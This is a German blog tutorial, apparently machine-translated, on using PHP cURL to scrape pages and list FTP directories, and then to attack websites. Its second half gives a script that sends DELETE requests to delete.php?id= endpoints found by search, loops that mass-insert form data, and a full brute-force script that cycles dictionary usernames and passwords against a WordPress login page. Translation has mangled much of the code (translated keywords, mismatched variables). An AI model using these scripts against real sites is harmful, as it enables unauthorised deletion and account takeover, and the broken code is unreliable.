CURL, um Informationen und Hacking aus PHP zu extrahieren

Die Erweiterung cURL für PHP zum Extrahieren von Informationen aus einer URL ermöglicht die Verwendung verschiedener Webprotokolle mit FTP, FTPS, HTTP, HTTPS und das Erfassen oder Extrahieren von Informationen.

Um cURL zu verwenden, müssen Sie 4 Schritte ausführen

  • CURL initialisieren
  • Konfigurieren Sie die Optionen entsprechend der auszuführenden Aufgabe
  • Führen Sie eine Abfrage für die gewünschte URL aus
  • Erhalten Sie die Informationen, wenn sie verfügbar sind.

Die cURL-Bibliothek ist eine Komponente, die aus Sicherheitsgründen normalerweise nicht auf allen Servern verfügbar ist. In einigen Fällen ist dies für einige Webanwendungen erforderlich, z. B. für PrestaShop-Anwendungen für E-Commerce-Onlineshops und Magento, die cURL verwenden. Facebook verwendet bei der Veröffentlichung von a auch cURL Wenn Sie einen Link auf unsere Pinnwand setzen, wird eine Beschreibung angezeigt, der Link und das Bild der Site. Dies liegt daran, dass die Informationen mithilfe von cURL extrahiert wurden. Twitter ermöglicht es anderen Programmierern, ihre API über cURL zu nutzen.

panta00.jpg

Es wird verwendet, um Finanzmarktinformationen in Echtzeit oder bei schlechtem Wetter anzuzeigen. Um die Lieferantenpreise durch Lesen einer Datei zu aktualisieren, die sie in einem Link bereitstellen, können alle Verkaufsstellen ihre Datenbanken aktualisieren.

Wenn unsere PHP-Installation kein cURL hat und unser Server Xampp oder LAMP ist, wird er wie folgt vom Terminal aus installiert:

 sudo apt-get installiere php5-curl 

Und nach ein paar Sekunden, um die Installation abzuschließen, müssen wir den Apache-Server mit dem folgenden Befehl neu starten :

 sudo /etc/init.d/apache2 neu starten 

Dieses Tutorial basiert auf Linux. Wenn Sie jedoch Windows verwenden, können Sie die Curl-Unterstützung aktivieren, indem Sie die Dateien libeay32.dll und ssleay32.dll aus der Xampp-Windows-Version im Verzeichnis c: windows system32 kopieren. Anschließend müssen Sie die Erweiterung von cURL in aktivieren Xampps php.ini-Datei, die die Erweiterung line = php_curl.dll auskommentiert und den Xampp-Server neu startet.

Nehmen wir ein erstes Beispiel an: Ich möchte meine Website mit Werten aus einem Online-Shop aktualisieren. Wir übernehmen die Website, auf der ebay-Uhren verkauft werden. Wir erstellen eine PHP-Datei auf dem lokalen oder Remote-Server mit dem folgenden Code:

 <? php echo "Informationen extrahieren"; $ curl = curl_init (); $ fp = fopen ("listarelojes.txt", "w"); curl_setopt ($ curl, CURLOPT_URL, "http://globaldeals.ebay.com/Featured/Watches/?c=LATAM"); curl_setopt ($ curl, CURLOPT_FILE, $ fp); echo "<br> Warte ........"; curl_exec ($ curl); curl_close ($ curl); Echo "<br> Extraktion beendet"; ?> 

Das Ergebnis der Ausführung des Skripts ist eine Textdatei.

See also  So entfernen Sie das Kennwort aus PDF-Dateien

panta01.jpg

Wenn wir die txt-Datei in HTML konvertieren, können wir den zu bringenden Code sehen, wenn wir den Code analysieren, werden wir sehen, dass jeder
<div class = “card”> </ div> ist der Block, der eine Uhr darstellt, sodass wir ein Skript erstellen können, das jede ID identifiziert und die Informationen extrahiert, die zum Beispiel in unserer Datenbank gespeichert werden sollen.

panta02.jpg

Sehen wir uns ein Beispiel für einen FTP an. Wir werden alle Verzeichnisse und ihre Daten aus ftn von gnu.org extrahieren und über die Funktion nl2br einen Strompfad-Umbruch für jedes Verzeichnis hinzufügen, wenn nicht alles in einer einzigen Zeile steht.

 <? php $ curl = curl_init (); curl_setopt ($ curl, CURLOPT_URL, "ftp://ftp.gnu.org"); curl_setopt ($ curl, CURLOPT_RETURNTRANSFER, 1); $ directorys = curl_exec ($ curl); curl_close ($ curl); $ directory_br = nl2br ($ directorys); echo $ br_directories; ?> 

panta03.jpg

Nachfolgend sehen wir ein Beispiel mit einem FTP eines Webs:

 <strong> Verzeichnisse einer Website </ strong> <? php $ curl = curl_init (); curl_setopt ($ curl, CURLOPT_URL, "ftp://ftpedemos.tk"); curl_setopt ($ curl, CURLOPT_FTPLISTONLY, 1); curl_setopt ($ curl, CURLOPT_USERPWD, "myuser: miclave"); curl_setopt ($ curl, CURLOPT_RETURNTRANSFER, 1); $ directorys = curl_exec ($ curl); echo curl_error ($ curl); curl_close ($ curl); $ directory_br = nl2br ($ directorys); echo $ br_directories; ?> 

panta04.jpg

Wir können sehen, wie wir alle Verzeichnisse auflisten. Natürlich benötigen wir den Benutzer und das Kennwort, um es anzuzeigen. Wenn Sie jedoch keinen problemlosen Zugriff darauf haben, können wir auch ein Skript generieren, das Kombinationen brutaler Angriffswörter testet.

Eine andere Art von Angriff besteht darin, eine URL mit Links und Variablen zu finden, die ausgenutzt werden können. Beispielsweise verwenden viele Websites Verfahren zum Löschen von Daten wie delete.php? Id = , wenn wir in Google nach diesen suchen.

panta05.jpg

Wir können diese Art von Sicherheitslücke mit folgendem Code ausnutzen:

 <? php $ data = array ("id" => 3); $ ch = curl_init (); curl_setopt ($ ch, CURLOPT_URL, "http://www.demo.com/delete.php?id=108"); curl_setopt ($ ch, CURLOPT_HEADER, false); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); curl_setopt ($ ch, CURLOPT_POSTFIELDS, http_build_query ($ data)); $ data = curl_exec ($ ch); curl_close ($ ch); ?> 

Wir könnten eine for oder while-Schleife erstellen , die verschiedene ID-Nummern testet.

See also  Zeichnen Sie in Java Rechtecke, Linien und Ovale

Wir können es auch verwenden, um Daten zu lesen oder Daten oder andere vom Web ausgeführte Aufgaben unter Verwendung der ID einzufügen.
Wenn wir beispielsweise die Felder eines Formulars kennen, können wir Daten einfügen, wenn wir sie per POST-Methode des Formulars senden.

 <? php $ postData = array ( 'name' => 'sergio, 'domicile' => 'Cordoba 123', 'email' => [email protected] ', key => 'abc123' ); $ ch = curl_init (); curl_setopt ($ ch, CURLOPT_URL, "http://wwwdemo.com/nuevocliente"); curl_setopt ($ ch, CURLOPT_HEADER, false); curl_setopt ($ ch, CURLOPT_POST, true); curl_setopt ($ ch, CURLOPT_POSTFIELDS, http_build_query ($ postData)); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); $ data = curl_exec ($ ch); print_r ($ data); curl_close ($ ch); ?> 

Hier könnten wir eine Schleife erstellen, die eine Datenbank liest und Tausende neuer Kunden erstellt. Es könnte nützlich sein, viele Produkte zu registrieren.

Als nächstes werden wir sehen, wie ein WordPress-Web durch ein Skript mit PHP und Curl verletzt wird , das einen Brutal Force-Angriff (Brute Force) ausführt.

panta06.jpg

Dazu suchen wir in WordPress nach einem Web und verwenden die Zugriffs-URL zum Administrator-Panel.

Dann erstellen wir ein Wörterbuch für Benutzernamen und ein weiteres für Stichwörter. Das Wörterbuch ist nur eine Textdatei mit Wörtern untereinander.

Wir erstellen das Wörterbuch mit dem Benutzernamen users.dic

panta07.jpg

Wir fügen die gewünschten Wörter hinzu und versuchen immer, mögliche Benutzernamen zu finden. Dann erstellen wir eine weitere Datei für das Schlüsselwörterbuch mit dem Namen claves.dic.

Schließlich erstellen wir das Skript, mit dem der Exploit einen Benutzer und einen Schlüssel nimmt und versucht, sich anzumelden. Wenn dies der Fall ist, erhalten wir eine Warnung.

Der Exploit-Code lautet wie folgt

 <? php error_reporting (0); $ url = "http://demos.tk/wp-login.php"; $ usersdic = file_get_contents ("users.dic"); $ users = explode (" n", $ usersdic); $ clavesdic = file_get_contents ("claves.dic"); $ keys = explode (" n", $ clavesdic); foreach ($ users als $ user) { für ($ i = 0; $ i <= count ($ keys); $ i ++) { $ POST = "log =". $ User. "& Pwd =". $ Keys [$ i]; $ curlconecta = curl_init (); curl_setopt ($ curlconecta, CURLOPT_URL, $ url); curl_setopt ($ curlconecta, CURLOPT_POSTFIELDS, $ POST); curl_setopt ($ curlconecta, CURLOPT_RETURNTRANSFER, true); $ query = curl_exec ($ curlconecta); if ($ query) {/ Wenn der Login nicht gültig ist, zeige ich Fehler print "Benutzer: $ Benutzername und Passwort:". $ keys [$ i]. "---> Ungültiges <br>"; } else { print "Benutzer: $ Benutzername und Passwort:". $ keys [$ i]. "---> Gültig. Zugriff akzeptiert! <br>"; exit (); } curl_close ($ curlconecta); } } ?> 

panta08.jpg

Dies ist ein Beispiel dafür, wie wir mit wenigen Codezeilen eine Sicherheitsanfälligkeit in einem Web oder Server ausnutzen oder testen können, um das Problem zu vermeiden.

See also  Grundlegendes HTML lernen und meine erste Webseite

So können wir mit einem PHP- und einem CURL-Skript Testaufgaben oder Penetrationstests automatisieren, die einen Angriff simulieren.

Mit einem Skript dieses Typs können Sie die Felder eines Formulars testen, um Daten einzufügen und einen Angriff zu simulieren, indem Sie die Anfragen an den Server mehrmals automatisch wiederholen und anschließend analysieren, was passiert ist, oder den Angriff überwachen, während er auftritt, um zu verstehen, wie er abläuft Beheben Sie die Situation, wenn sie real war, oder führen Sie je nach Antwort unterschiedliche Aktionen aus und handeln Sie auf dem Server.

Ein weiteres sehr interessantes Feature ist es, Dateien beispielsweise von einem Server auf einen anderen kopieren zu können

 <? Funktionsübertragungsdatei ($ urlorigen, $ urldestino) { $ mi_curl = curl_init ($ urlorigen); $ fs_file = fopen ($ urldestino, "w"); curl_setopt ($ my_curl, CURLOPT_FILE, $ fs_archivo); curl_setopt ($ my_curl, CURLOPT_HEADER, 0); curl_exec ($ my_curl); curl_close ($ my_curl); fclose ($ fs_file); }?> 

Dann würden wir es innerhalb einer Schleife oder Funktion alleine verwenden, um automatisch eine oder mehrere Dateien zu übertragen.

 <? $ urlorigen = "http://www.servidor1.com/imagenes/fotos/imagen.jpg"; $ urldestino = "http://www.servidor2.com/imagenes/fotos/imagen.jpg"; Übertragungsdatei ($ urlorigen, $ urldestino); ?> 

So könnten wir sogar ein Skript erstellen, das für die automatische Sicherung aller Dateien oder eines bestimmten Verzeichnisses verantwortlich ist.

administrator

Leave a Reply

Your email address will not be published. Required fields are marked *